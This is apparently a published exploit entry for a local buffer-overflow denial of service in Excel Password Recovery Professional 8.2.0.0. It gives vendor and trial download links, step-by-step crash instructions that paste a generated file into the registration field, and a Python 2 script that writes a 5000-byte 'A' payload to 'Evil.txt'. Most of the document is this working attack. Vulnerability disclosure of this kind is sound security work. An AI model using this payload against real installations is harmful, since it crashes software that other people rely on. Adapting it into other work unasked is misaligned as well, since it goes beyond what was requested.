# Exploit Title: Excel Password Recovery Professional # Date: 15-12-2018 # Vendor Homepage:https://www.recoverlostpassword.com/ # Software Link :https://www.recoverlostpassword.com/downloads/excel_password_recovery_pro_trial.exe # Exploit Author: Achilles # Tested Version: 8.2.0.0 # Tested on: Windows 7 64 # Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow # Steps to Produce the Crash: # 1.- Run python code : Excel_Password_Recovery.py # 2.- Open EVIL.txt and copy content to clipboard # 3.- Open Excel Password Recovery Professional # 4.- Paste the content of EVIL.txt into the field: 'E-Mail and Registrations Code' # 5.- Click 'Register' and you will see a crash. #!/usr/bin/env python buffer = "\x41" * 5000 try: f=open("Evil.txt","w") print "[+] Creating %s bytes evil payload.." %len(buffer) f.write(buffer) f.close() print "[+] File created!" except: print "File cannot be created"